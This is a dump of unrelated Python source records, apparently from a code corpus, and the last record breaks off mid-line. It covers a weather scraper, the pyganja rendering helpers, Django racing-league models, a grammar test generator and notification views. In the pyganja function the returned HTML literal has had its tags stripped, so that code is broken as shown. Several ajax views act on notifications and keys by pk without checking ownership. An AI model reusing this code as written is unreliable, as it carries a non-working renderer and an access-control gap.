soup.find_all(\"div\", class_=\"day-details\"):\r\n chanceofrain.append(precip.text[8:11].strip('\\n\\t'))\r\n\r\n#LONG line, ***NEEDS FIXING WITH A LOOP OR SOMETHING***\r\ndata = {'Weather:':[forecast[0], forecast[1], forecast[2], forecast[3], forecast[4], forecast[5], forecast[6]], 'LO/HI:':[highlow[0], highlow[1], highlow[2], highlow[3], highlow[4], highlow[5], highlow[6]], 'Chance of Rain:':[chanceofrain[0], chanceofrain[1], chanceofrain[2], chanceofrain[3], chanceofrain[4], chanceofrain[5], chanceofrain[6]]}\r\n\r\ndf = pd.DataFrame(data, columns = ['Weather:', 'LO/HI:', 'Chance of Rain:'], index = days)\r\nprint(df)\r\n\r\nexit = input()\r\n","sub_path":"WeatherApp.py","file_name":"WeatherApp.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79132496","text":"from __future__ import print_function\n\nimport os\nimport json\nimport base64\nfrom multiprocessing import Process\nimport hashlib\nimport webbrowser\nimport warnings\n\nfrom .GanjaScene import GanjaScene\n\nfrom .color import Color\n\nCEFAVAILABLE = False\ntry:\n from .cefwindow import *\n CEFAVAILABLE = True\nexcept:\n warnings.warn(\n 'Failed to import cef_gui, cef functions will be unavailable',\n stacklevel=2)\n\nJUPYTERAVAILABLE = False\ntry:\n from IPython.display import display, Javascript\n from IPython import get_ipython\n JUPYTERAVAILABLE = True\nexcept:\n warnings.warn(\n 'Failed to import ipython, notebook rendering will be unavailable',\n stacklevel=2)\n\n\ndef html_to_data_uri(html):\n html = html.encode(\"utf-8\", \"replace\")\n b64 = base64.b64encode(html).decode(\"utf-8\", \"replace\")\n ret = \"data:text/html;base64,{data}\".format(data=b64)\n return ret\n\n\ndef read_ganja():\n dir_name = os.path.dirname(os.path.abspath(__file__))\n ganja_filename = dir_name + '/static/ganja.js/ganja.js'\n with open(ganja_filename, 'r', encoding='utf8') as ganja_file:\n output = ganja_file.read()\n return output\n\n\ndef generate_notebook_js(scene, sig=None, grid=True, scale=1.0, gl=True,\n default_color=Color.DEFAULT, default_static=False):\n script_json = _to_scene_string(scene, default_color=default_color, default_static=default_static)\n if sig is not None:\n p = (sig > 0).sum().item() # convert to json-compatible scalar\n q = (sig < 0).sum().item() # convert to json-compatible scalar\n r = len(sig) - p - q\n else:\n p = 4\n q = 1\n r = 0\n mv_length = str(2 ** (p + q + r))\n\n # not the best way to test conformal, as it prevents non-euclidean geometry\n if q != 0:\n conformal = True\n else:\n conformal = False\n\n if (p, q, r) in [(4, 1, 0), (3, 1, 0), (3, 0, 0), (3, 0, 1)]:\n if p - q == 2:\n gl = False # 2d\n opts = dict(\n p=p, q=q, r=r, gl=gl, conformal=conformal, grid=grid, scale=scale,\n mv_length=mv_length\n )\n js = read_ganja()\n js += \"\"\"\n // take a closure on element before the next cell replaces it\n (function(element) {\n (requirejs||require)(['Algebra'], function(Algebra) {\n var opts = \"\"\" + json.dumps(opts) + \"\"\"; // injected from python\n var output = Algebra({p: opts.p, q: opts.q, r: opts.r, baseType: Float64Array}).inline((opts)=>{\n var data = \"\"\" + script_json + \"\"\"; // injected from python\n\n // When we get a file, we load and display.\n var canvas;\n var h=0, p=0;\n // convert arrays of floats back to CGA elements.\n data = data.map(x=>x.length==opts.mv_length?new Element(x):x);\n // add the graph to the page.\n canvas = this.graph(data, {gl: opts.gl, conformal: opts.conformal, grid: opts.grid, scale: opts.scale, useUnnaturalLineDisplayForPointPairs: true});\n canvas.options.h = h;\n canvas.options.p = p;\n // make it big.\n canvas.style.width = '100%';\n canvas.style.height = '50vh';\n return canvas;\n })(opts);\n element.append(output);\n\n var a = document.createElement(\"button\");\n var t = document.createTextNode(\"\\N{FLOPPY DISK} Save\");\n a.appendChild(t);\n function screenshot(){\n //output.width = 1920; output.height = 1080;\n output.update(output.value);\n output.toBlob(function(blob) {\n var url = URL.createObjectURL(blob);\n window.open(url, '_blank');\n });\n }\n window.addEventListener('resize', function() {\n output.update(output.value);\n });\n a.onclick = screenshot\n var butnelem = element.append(a);\n });\n\n })(element);\n \"\"\"\n else:\n raise ValueError('Algebra not yet supported')\n return Javascript(js)\n\n\ndef generate_full_html(scene, sig=None, grid=True, scale=1.0, gl=True,\n default_color=Color.DEFAULT, default_static=False):\n script_json = _to_scene_string(scene, default_color=default_color, default_static=default_static)\n if sig is not None:\n p = (sig > 0).sum()\n q = (sig < 0).sum()\n r = len(sig) - p - q\n else:\n p = 4\n q = 1\n r = 0\n sig_short = '%i,%i,%i' % (p, q, r)\n print(sig_short)\n mv_length = str(2 ** (p + q + r))\n\n # not the best way to test conformal, as it prevents non-euclidean geometry\n conformal = 'false'\n if q!=0:\n conformal = 'true'\n\n if sig_short in ['4,1,0', '3,0,0', '3,0,1']:\n if grid:\n gridstr = 'true'\n else:\n gridstr = 'false'\n scalestr = str(scale)\n\n script_string = \"\"\"\n Algebra(\"\"\"+sig_short+\"\"\",()=>{\n var canvas = this.graph((\"\"\" + script_json + \"\"\").map(x=>x.length==\"\"\"+mv_length+\"\"\"?new Element(x):x),\n {conformal:\"\"\"+conformal+\"\"\",gl:\"\"\"+str(gl).lower()+\"\"\",grid:\"\"\"+gridstr+\"\"\",scale:\"\"\"+scalestr+\"\"\",useUnnaturalLineDisplayForPointPairs:true});\n canvas.style.width = '100vw';\n canvas.style.height = '100vh';\n document.body.appendChild(canvas);\n });\n \"\"\"\n full_html = \"\"\"<!DOCTYPE html>\n <html lang=\"en\" style=\"height:100%;\">\n <HEAD>\n <meta charset=\"UTF-8\">\n <title>pyganja\n \n \n \n \n \n \n \"\"\"\n return full_html\n else:\n raise ValueError('Algebra not yet supported')\n\n\ndef render_browser_script(scene, sig=None, grid=True, scale=1.0, gl=True, filename=None,\n default_color=Color.DEFAULT, default_static=False):\n \"\"\"\n If we have no jupyter and no cefpython we will be forced to generate html\n and render that in the users browser\n \"\"\"\n html_code = generate_full_html(scene, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=default_color, default_static=default_static)\n if filename is None:\n hash_object = hashlib.md5(html_code.encode())\n filename = hash_object.hexdigest() + '.html'\n with open(filename, 'w', encoding='utf8') as fo:\n print(html_code,file=fo)\n webbrowser.open(filename)\n\n\ndef render_notebook_script(scene, sig=None, grid=True, scale=1.0, gl=True,\n default_color=Color.DEFAULT, default_static=False):\n \"\"\"\n In a notebook we dont need to start cefpython as we\n are already in the browser!\n \"\"\"\n js = generate_notebook_js(scene, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=default_color, default_static=default_static)\n display(js)\n\n\ndef render_cef_script(scene=\"\", sig=None, grid=True, scale=1.0, gl=True,\n default_color=Color.DEFAULT, default_static=False):\n def render_script():\n final_url = html_to_data_uri(generate_full_html(scene, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=default_color, default_static=default_static))\n run_cef_gui(final_url, \"pyganja\")\n p = Process(target=render_script)\n p.start()\n p.join()\n\n\ndef isnotebook():\n # See:\n # https://stackoverflow.com/questions/15411967/how-can-i-check-if-code-is-executed-in-the-ipython-notebook\n try:\n shell = get_ipython().__class__.__name__\n if shell == 'ZMQInteractiveShell':\n return True # Jupyter notebook or qtconsole\n elif shell == 'TerminalInteractiveShell':\n return False # Terminal running IPython\n else:\n return False # Other type (?)\n except NameError:\n return False # Probably standard Python interpreter\n\n\ndef draw(objects, color=Color.DEFAULT, sig=None, grid=True, scale=1.0,\n browser_window=False, new_window=False, static=False, gl=True):\n if JUPYTERAVAILABLE:\n if isnotebook():\n if not new_window:\n render_notebook_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n if CEFAVAILABLE:\n if browser_window:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_cef_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n if CEFAVAILABLE:\n if browser_window:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_cef_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n if CEFAVAILABLE:\n if browser_window:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_cef_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n else:\n render_browser_script(objects, sig=sig, grid=grid, scale=scale, gl=gl,\n default_color=color, default_static=static)\n\n\ndef _to_scene_string(objects, default_color=Color.DEFAULT, default_static=False):\n if isinstance(objects, list):\n sc = GanjaScene()\n sc.add_objects(objects, color=default_color, static=default_static)\n return str(sc)\n elif isinstance(objects, str):\n return objects\n elif isinstance(objects, GanjaScene):\n return str(objects)\n else:\n sc = GanjaScene()\n try:\n print('Treating as iterable')\n sc.add_objects([i for i in objects], color=default_color, static=default_static)\n return str(sc)\n except Exception:\n raise ValueError('The input cannot be interpreted, it is not a list of objects or ganja scene')\n","sub_path":"pyganja/script_api.py","file_name":"script_api.py","file_ext":"py","file_size_in_byte":11460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330177264","text":"from django.db import models\nfrom django.db.models import Q\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.core.exceptions import ValidationError\nfrom django.utils.safestring import mark_safe\nfrom django.contrib.auth.models import User\nimport datetime\nimport pytz\nimport humanfriendly\n\n\nROUND_NAMES = (\n ('PSQ', 'Pre-Season Qualifier'),\n ('R1', 'Round 1'),\n ('R2', 'Round 2'),\n ('R3', 'Round 3'),\n ('R4', 'Round 4'),\n ('R5', 'Round 5'),\n ('R6', 'Round 6'),\n ('R7', 'Round 7'),\n ('R8', 'Round 8'),\n ('R9', 'Round 9'),\n ('R10', 'Round 10'),\n ('R11', 'Round 11'),\n ('R12', 'Round 12'),\n ('R13', 'Round 13'),\n ('R14', 'Round 14'),\n ('R15', 'Round 15'),\n ('R16', 'Round 16'),\n ('R17', 'Round 17'),\n ('R18', 'Round 18'),\n ('R19', 'Round 19'),\n ('R20', 'Round 20'),\n)\n\nEVENT_TYPES = (\n ('FP', 'FP'),\n ('PSQ', 'PSQ'),\n ('Q1', 'Q1'),\n ('Q2', 'Q2'),\n ('R1', 'R1'),\n ('R2', 'R2'),\n ('END', 'END'),\n)\n\nEVENT_DURATIONS = (\n (datetime.timedelta(minutes=10), '10 min'),\n (datetime.timedelta(minutes=15), '15 min'),\n (datetime.timedelta(minutes=20), '20 min'),\n (datetime.timedelta(minutes=30), '30 min'),\n (datetime.timedelta(hours=1), '1 hr'),\n (datetime.timedelta(minutes=90), '90 min'),\n (datetime.timedelta(hours=2), '2 hr'),\n (datetime.timedelta(minutes=144), '2.4 hr'),\n (datetime.timedelta(hours=3), '3 hr'),\n (datetime.timedelta(hours=6), '6 hr'),\n (datetime.timedelta(hours=12), '12 hr'),\n (datetime.timedelta(hours=24), '24 hr'),\n (datetime.timedelta(weeks=1), '1 Week'),\n)\n\n\nPOSITIONS = (\n ('1', '1'),\n ('2', '2'),\n ('3', '3'),\n ('4', '4'),\n ('5', '5'),\n ('6', '6'),\n ('7', '7'),\n ('8', '8'),\n ('9', '9'),\n ('10', '10'),\n ('11', '11'),\n ('12', '12'),\n ('13', '13'),\n ('14', '14'),\n ('15', '15'),\n ('16', '16'),\n ('17', '17'),\n ('18', '18'),\n ('19', '19'),\n ('20', '20'),\n ('21', '21'),\n ('22', '22'),\n ('23', '23'),\n ('24', '24'),\n ('25', '25'),\n ('26', '26'),\n ('27', '27'),\n ('28', '28'),\n ('29', '29'),\n ('30', '30'),\n ('31', '31'),\n ('32', '32'),\n ('33', '33'),\n ('34', '34'),\n ('35', '35'),\n ('36', '36'),\n ('37', '37'),\n ('38', '38'),\n ('39', '39'),\n ('40', '40'),\n ('41', '41'),\n ('42', '42'),\n ('43', '43'),\n ('44', '44'),\n ('45', '45'),\n ('46', '46'),\n ('47', '47'),\n ('48', '48'),\n ('49', '49'),\n ('50', '50'),\n ('51', '51'),\n ('52', '52'),\n ('53', '53'),\n ('54', '54'),\n ('55', '55'),\n ('56', '56'),\n ('57', '57'),\n ('58', '58'),\n ('59', '59'),\n ('60', '60'),\n ('61', '61'),\n ('62', '62'),\n ('63', '63'),\n ('64', '64'),\n ('65', '65'),\n ('66', '66'),\n ('67', '67'),\n ('68', '68'),\n ('69', '69'),\n ('70', '70'),\n ('71', '71'),\n ('72', '72'),\n ('73', '73'),\n ('74', '74'),\n ('75', '75'),\n ('76', '76'),\n ('77', '77'),\n ('78', '78'),\n ('79', '79'),\n ('80', '80'),\n ('81', '81'),\n ('82', '82'),\n ('83', '83'),\n ('84', '84'),\n ('85', '85'),\n ('86', '86'),\n ('87', '87'),\n ('88', '88'),\n ('89', '89'),\n ('90', '90'),\n ('91', '91'),\n ('92', '92'),\n ('93', '93'),\n ('94', '94'),\n ('95', '95'),\n ('96', '96'),\n ('97', '97'),\n ('98', '98'),\n ('99', '99'),\n ('100', '100'),\n ('101', '101'),\n ('102', '102'),\n ('103', '103'),\n ('104', '104'),\n ('105', '105'),\n ('106', '106'),\n ('107', '107'),\n ('108', '108'),\n ('109', '109'),\n ('110', '110'),\n ('111', '111'),\n ('112', '112'),\n ('113', '113'),\n ('114', '114'),\n ('115', '115'),\n ('116', '116'),\n ('117', '117'),\n ('118', '118'),\n ('119', '119'),\n ('120', '120'),\n ('DNF', 'DNF'),\n ('DQ', 'DQ'),\n)\n\nLEAGUE_STATUS = (\n ('open', 'open'),\n ('in-progress', 'in-progress'),\n ('closed', 'closed'),\n)\n\nSESSION_STATUS = (\n ('pending', 'pending'),\n ('private', 'private'),\n ('complete', 'complete'),\n)\n\n\ndef float_or_whole(number):\n if isinstance(number, float):\n if number.is_integer():\n return round(number)\n return number\n\n\ndef sort_events_by_type(events):\n event_list = []\n for event_type in EVENT_TYPES:\n for event in events:\n if event.event_type == event_type[1]:\n event_list.append(event)\n\n return event_list\n\n\ndef trim_time(time):\n s = str(time)\n if s[0:2] == '0:':\n s = s[2:]\n\n return str(s).rstrip('0')\n\n\ndef validate_file_size(value):\n filesize = value.size\n\n if filesize > 5242880:\n raise ValidationError(\"The maximum file size that can be uploaded is 5MB\")\n else:\n return value\n\n\nclass Track(models.Model):\n name = models.CharField(max_length=64, unique=True)\n image = models.CharField(max_length=64, null=True, blank=True)\n\n def __str__(self):\n return self.name\n\n\nclass Car(models.Model):\n name = models.CharField(max_length=64, unique=True)\n car_id = models.IntegerField(null=True, blank=True)\n\n def __str__(self):\n return self.name\n\n\nclass Rule(models.Model):\n rule = models.CharField(max_length=1024)\n\n def __str__(self):\n return self.rule\n\n\nclass RuleSet(models.Model):\n name = models.CharField(max_length=64)\n rule = models.ManyToManyField(Rule)\n\n def __str__(self):\n return self.name\n\n\ndefault_registration_text = '''Sessions in this League occur on weekdays from 8pm - 10pm. Your League Division will \\\nbe selected by a Pre-Season Qualifying Session and primarily the days you're regularly available to race. This League \\\nmandates a single Car for the duration of the Season.\n'''\n\n\nclass League(models.Model):\n name = models.CharField(max_length=64, unique=True, default='Blancpain GT3 Series 2019')\n image = models.FileField(upload_to='images/%Y/%m/%d/', blank=True, null=True, validators=[validate_file_size], help_text='An header image for the League')\n status = models.CharField(max_length=16, choices=LEAGUE_STATUS, default='open')\n max_drivers = models.IntegerField(default=120, help_text='The number of users who can register to this league is limited to this value')\n car = models.ManyToManyField(Car)\n rule_set = models.ForeignKey(RuleSet, on_delete=models.CASCADE, null=True, blank=True)\n registration_text = models.TextField(max_length=2048, null=True, blank=True, default=default_registration_text)\n\n def has_registered(self, user):\n if User.objects.filter(username=user).first():\n if Driver.objects.filter(user=user, league=self).first():\n return True\n\n return False\n\n @property\n def driver_slots_remaining(self):\n return self.max_drivers - len(self.driver.all())\n\n @property\n def is_full(self):\n return True if self.driver_slots_remaining <= 0 else False\n\n def __str__(self):\n return self.name\n\n\nclass Division(models.Model):\n name = models.CharField(max_length=64, default='Group A')\n league = models.ForeignKey(League, on_delete=models.CASCADE)\n max_drivers = models.IntegerField(default=24)\n server_password = models.CharField(max_length=64, null=True, blank=True, help_text='Set the ACC dedicated-server password here, and this value will be made available to Drivers with \"default division\" set to this one.')\n\n class Meta:\n unique_together = ('name', 'league',)\n\n def __str__(self):\n return self.league.name + ' - ' + self.name\n\n\nclass Driver(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='acc_driver')\n ingame_name = models.CharField(max_length=64)\n player_id = models.CharField(max_length=32, null=False, blank=False, verbose_name='Steam ID', help_text=mark_safe('Your Steam ID is long series of numbers following the letter \"S\" - instructions here'))\n car = models.ForeignKey(Car, on_delete=models.CASCADE)\n league = models.ForeignKey(League, on_delete=models.CASCADE, related_name='driver')\n default_division = models.ForeignKey(Division, on_delete=models.SET_NULL, null=True, blank=True, related_name='driver')\n pref_monday = models.BooleanField(default=False, verbose_name='Monday')\n pref_tuesday = models.BooleanField(default=False, verbose_name='Tuesday')\n pref_wednesday = models.BooleanField(default=False, verbose_name='Wednesday')\n pref_thursday = models.BooleanField(default=False, verbose_name='Thursday')\n pref_friday = models.BooleanField(default=False, verbose_name='Friday')\n pref_saturday = models.BooleanField(default=False, verbose_name='Saturday')\n pref_sunday = models.BooleanField(default=False, verbose_name='Sunday')\n accept_rules = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ('user', 'league')\n\n @property\n def display_name(self):\n return self.user.username if self.ingame_name == self.user.username else self.user.username + ' (' + self.ingame_name + ')'\n\n @property\n def schedule(self):\n results = Session.objects.filter(Q(division=self.default_division) | Q(division__isnull=True), event__in=Event.objects.filter(round__in=Round.objects.filter(league=self.league))).order_by('date_time')\n return results\n\n def __str__(self):\n return self.user.username + ' - ' + self.league.name\n\n\nclass Preference(models.Model):\n driver = models.OneToOneField(Driver, on_delete=models.CASCADE, null=True)\n monday = models.BooleanField(default=False)\n tuesday = models.BooleanField(default=False)\n wednesday = models.BooleanField(default=False)\n thursday = models.BooleanField(default=False)\n friday = models.BooleanField(default=False)\n saturday = models.BooleanField(default=False)\n sunday = models.BooleanField(default=False)\n\n\nclass Round(models.Model):\n name = models.CharField(max_length=8, choices=ROUND_NAMES)\n track = models.ForeignKey(Track, on_delete=models.CASCADE)\n league = models.ForeignKey(League, on_delete=models.CASCADE, related_name='round')\n start_date = models.DateField(null=True, blank=True)\n\n class Meta:\n unique_together = ('name', 'league',)\n\n @property\n def events_sorted(self):\n return sort_events_by_type(self.event.all())\n\n @property\n def label(self):\n return str(dict(ROUND_NAMES)[self.name])\n\n def __str__(self):\n return self.league.__str__() + ' - ' + self.label\n\n\nclass Event(models.Model):\n round = models.ForeignKey(Round, on_delete=models.CASCADE, related_name='event')\n event_type = models.CharField(max_length=16, choices=EVENT_TYPES)\n duration = models.DurationField(choices=EVENT_DURATIONS)\n\n class Meta:\n unique_together = ('round', 'event_type',)\n\n @property\n def duration_human(self):\n return humanfriendly.format_timespan(self.duration)\n\n def __str__(self):\n return self.round.__str__() + ' - ' + self.event_type\n\n\nclass Session(models.Model):\n division = models.ForeignKey(Division, on_delete=models.CASCADE, null=True, blank=True, related_name='session')\n event = models.ForeignKey(Event, on_delete=models.CASCADE, related_name='session')\n date_time = models.DateTimeField(null=True, blank=True)\n status = models.CharField(max_length=16, choices=SESSION_STATUS, default='pending')\n\n class Meta:\n unique_together = ('division', 'event',)\n\n @property\n def active_status(self):\n now_tz = datetime.datetime.now(pytz.utc)\n if now_tz < self.date_time:\n return 'upcoming'\n elif self.date_time <= now_tz <= (self.date_time + self.event.duration):\n return 'in-progress'\n else:\n return 'over'\n\n def __str__(self):\n division_name = self.division.name if self.division else 'Open'\n return self.event.round.league.name + ' - ' + division_name + ' - ' + self.event.round.label + ' - ' + self.event.event_type\n\n\nclass PositionPoint(models.Model):\n event_type = models.CharField(max_length=16, choices=EVENT_TYPES)\n position = models.CharField(max_length=8, choices=POSITIONS)\n points = models.FloatField()\n\n class Meta:\n unique_together = ('event_type', 'position',)\n\n def __str__(self):\n return str(self.event_type) + ' @ ' + str(self.position) + ' = ' + str(self.points)\n\n\nclass Result(models.Model):\n session = models.ForeignKey(Session, on_delete=models.CASCADE)\n driver = models.ForeignKey(Driver, on_delete=models.CASCADE)\n position = models.CharField(max_length=8, choices=POSITIONS)\n best_lap = models.DurationField(null=True, blank=True)\n split1 = models.DurationField(null=True, blank=True)\n split2 = models.DurationField(null=True, blank=True)\n split3 = models.DurationField(null=True, blank=True)\n car = models.ForeignKey(Car, on_delete=models.CASCADE, null=True, blank=True)\n\n class Meta:\n unique_together = ('session', 'position',)\n\n def __str__(self):\n return self.session.__str__() + ' ' + self.driver.__str__() + ' - ' + self.position\n\n @property\n def points(self):\n position_point = PositionPoint.objects.filter(position=self.position, event_type=self.session.event.event_type).first()\n if position_point:\n return float_or_whole(position_point.points)\n else:\n return 0\n\n @property\n def best_lap_stripped(self):\n return trim_time(self.best_lap)\n\n @property\n def split1_stripped(self):\n return trim_time(self.split1)\n\n @property\n def split2_stripped(self):\n return trim_time(self.split2)\n\n @property\n def split3_stripped(self):\n return trim_time(self.split3)\n\n\nclass CustomCar(models.Model):\n driver = models.ForeignKey(Driver, on_delete=models.CASCADE)\n race_number = models.IntegerField(default=123, validators=[MinValueValidator(1), MaxValueValidator(998)])\n aux_light_key = models.IntegerField(default=1)\n aux_light_color = models.IntegerField(default=67)\n skin_template_key = models.IntegerField(default=102)\n skin_color1_id = models.IntegerField(default=56)\n skin_color2_id = models.IntegerField(default=298)\n skin_color3_id = models.IntegerField(default=221)\n sponsor_id = models.IntegerField(default=15)\n skin_material_type1 = models.IntegerField(default=0)\n skin_material_type2 = models.IntegerField(default=0)\n skin_material_type3 = models.IntegerField(default=0)\n rim_color1_id = models.IntegerField(default=284)\n rim_color2_id = models.IntegerField(default=321)\n rim_material_type1 = models.IntegerField(default=2)\n rim_material_type2 = models.IntegerField(default=2)\n team_name = models.CharField(max_length=32, default=\"My custom Team\")\n display_name = models.CharField(max_length=32, default=\"My custom Team\")\n competitor_name = models.CharField(max_length=32, default=\"My custom Team\")\n car_model_type = models.IntegerField(default=2)\n cup_category = models.IntegerField(default=0)\n use_endurance_kit = models.IntegerField(default=1)\n\n def __str__(self):\n return self.display_name\n\n\nclass Appeal(models.Model):\n APPEAL_STATUS_CHOICES = (\n ('pending', 'pending'),\n ('approved', 'approved'),\n ('rejected', 'rejected'),\n )\n driver = models.ForeignKey(Driver, blank=True, on_delete=models.CASCADE)\n session = models.ForeignKey(Session, blank=True, on_delete=models.CASCADE)\n comments = models.TextField(blank=True, null=True, help_text='Comments to back up your claim.')\n position = models.CharField(choices=POSITIONS, max_length=8, verbose_name='Contested Position', help_text='The position you believe you earned')\n best_lap = models.DurationField(null=True, blank=True, verbose_name='Best lap time', help_text='Your best laptime (if you have that information)')\n split1 = models.DurationField(null=True, blank=True, help_text='Your best split1 time (if you have that information)', verbose_name='Best split 1 time')\n split2 = models.DurationField(null=True, blank=True, help_text='Your best split2 time (if you have that information)', verbose_name='Best split 2 time')\n split3 = models.DurationField(null=True, blank=True, help_text='Your best split3 time (if you have that infomration)', verbose_name='Best split 3 time')\n screenshot = models.FileField(upload_to='appeals/%Y/%m/%d/', validators=[validate_file_size], help_text='An in-game screenshot of the session results table')\n status = models.CharField(max_length=12, choices=APPEAL_STATUS_CHOICES, default='pending')\n\n def __str__(self):\n return self.driver.display_name + ' - ' + self.session.__str__() + ' (' + self.status + ')'\n","sub_path":"acc/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457465020","text":"from copy import deepcopy\n\n\nclass ZelenovWPLR:\n def __init__(self, grammar):\n self.grammar = grammar\n self.type = \"positive\"\n\n def _first_all_items(self, nonterminal):\n first_set = set()\n for item in self.grammar.items[nonterminal]:\n first_set = first_set.union(self.grammar.first(item))\n\n return first_set\n\n def generate_test_cases(self):\n completed_test_cases = set()\n test_cases = set()\n for nonterminal in self.grammar.nonterminals:\n if nonterminal == self.grammar.start_rule:\n continue\n\n chain = self.grammar.get_chain(nonterminal)\n if nonterminal != self.grammar.start_rule:\n chains = self.grammar.sentences_from_chain(chain)\n if len(chains) == 0:\n continue\n sentential_form = chains[0]\n first_set = self._first_all_items(nonterminal)\n for first in first_set:\n test_case = deepcopy(sentential_form)\n for i, token in enumerate(test_case):\n if token == nonterminal:\n test_case[i] = list(first)\n test_case = self.grammar.flatten(test_case)\n test_cases.add(tuple(test_case))\n return test_cases\n for test in test_cases:\n completed_test_case = tuple()\n for element in test:\n completed_test_case += self.grammar.token_to_terminals(element)\n completed_test_cases.add(completed_test_case)\n\n return completed_test_cases\n","sub_path":"generation/algorithms/zelenov_wplr.py","file_name":"zelenov_wplr.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491519713","text":"import unittest\n\nfrom collections import namedtuple\n\nfactory = namedtuple('Factory', ['name','profit1', 'profit2', 'profit3', 'profit4'])\n\ndef findAverageProfit(factory):\n averageNum = 0\n\n averageNum += factory.profit1\n averageNum += factory.profit2\n averageNum += factory.profit3\n averageNum += factory.profit4\n\n return averageNum/4\n\n\nclass Test(unittest.TestCase):\n def test_find_avarage(self):\n data = factory(\n name='Google LLC',\n profit1=10,\n profit2=10,\n profit3=10,\n profit4=20,\n )\n result = findAverageProfit(data)\n self.assertEqual(result, 12.5)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Lesson_5/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298179775","text":"import datetime\nimport json\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils import timezone\n\nfrom .models import notifications\nfrom messaging.models import keys\n\n@login_required\ndef notificationListView(request):\n \n context = RequestContext(request)\n if request.method == \"GET\":\n NOTIFICATION_WINDOW = 21\n allNotifications = notifications.objects.filter(userTo = request.user).order_by('-dateCreated')\n now = timezone.now()\n window = now - datetime.timedelta(days = NOTIFICATION_WINDOW)\n listNotifications = list(allNotifications.filter(dateCreated__gte = window))\n actionNotifications = list(allNotifications.filter(dateCreated__lt = window).filter(action = 1))\n listNotifications += actionNotifications\n deleteNotifications = allNotifications.filter(dateCreated__lt = window).exclude(action = 1)\n deleteNotifications.delete()\n numNotifications = notifications.objects.getNumNotifications(request.user)\n if (numNotifications > 0 ):\n for n in listNotifications:\n action = n.action\n if (action == 1 or action == 6 or action == 7):\n key = keys.objects.filter(userCreated = n.userTo).get(keyName = n.key)\n n.key_pk = key.pk\n elif (action == 2):\n key = keys.objects.filter(userCreated = n.userFrom).get(keyName = n.key)\n n.key_pk = key.pk\n context_dict = {\n \"userKey\": keys.objects.getAutoKey(request.user),\n \"listNotifications\" : listNotifications,\n \"numNotifications\" : numNotifications,\n \"userCreatedKeys\" : keys.objects.getUserKeys(request.user),\n }\n \n return render_to_response(\"notifying/userNotificationView.html\", context_dict, context)\n \n@login_required\ndef ajaxAddKeyView(request):\n if request.is_ajax():\n key_pk = int(request.POST['key'])\n key = keys.objects.get(pk = key_pk)\n userTo = key.userCreated\n userFrom = request.user\n key.usersHave.add(request.user)\n notifications.objects.create(\n action = 6, userTo = userTo,\n userFrom = userFrom, key = key.keyName\n )\n return HttpResponse()\n\n@login_required\ndef ajaxRequestView(request): #\n if request.is_ajax():\n key_pk = int(request.POST['key'])\n key = keys.objects.get(pk = key_pk)\n userTo = key.userCreated\n userFrom = request.user\n notifications.objects.create(\n action = 1, userTo = userTo,\n userFrom = userFrom, key = key.keyName\n )\n return HttpResponse()\n\n@login_required \ndef ajaxRemoveRequestView(request): #\n if request.is_ajax():\n key_pk = int(request.POST['key'])\n key = keys.objects.get(pk = key_pk)\n userTo = key.userCreated\n userFrom = request.user\n notificationToDelete = notifications.objects.filter(\n key = key.keyName, userTo = userTo,\n userFrom = userFrom, action = 1\n )\n notificationToDelete.delete()\n\n return HttpResponse()\n\n@login_required \ndef ajaxDismissNotification(request):\n if request.is_ajax():\n notification_pk = int(request.POST['pk'])\n notification = notifications.objects.get(pk = notification_pk)\n notification.delete()\n \n return HttpResponse()\n\n@login_required\ndef ajaxAcceptNotification(request):\n if request.is_ajax():\n notification_pk = int(request.POST['pk'])\n notification = notifications.objects.get(pk = notification_pk)\n \n notificationKeyName = notification.key\n \n keyInvolved = keys.objects.get(keyName = notificationKeyName)\n newUserTo = notification.userFrom\n newUserFrom = notification.userTo\n keyInvolved.usersHave.add(newUserTo)\n\n notifications.objects.create(\n userFrom = newUserFrom,\n userTo = newUserTo,\n key = notificationKeyName,\n action = 2\n )\n notification.delete()\n return HttpResponse()\n \n@login_required\ndef ajaxDeclineNotification(request):\n if request.is_ajax():\n notification_pk = int(request.POST['pk'])\n notification = notifications.objects.get(pk = notification_pk)\n notificationKeyName = notification.key\n newUserTo = notification.userFrom\n newUserFrom = notification.userTo\n \n notifications.objects.create(\n userFrom = newUserFrom,\n userTo = newUserTo,\n key = notificationKeyName,\n action = 4\n )\n notification.delete()\n return HttpResponse()\n \n@login_required\ndef ajaxDismissAllDismissable(request):\n if request.is_ajax():\n userNotifications = notifications.objects.filter(userTo = 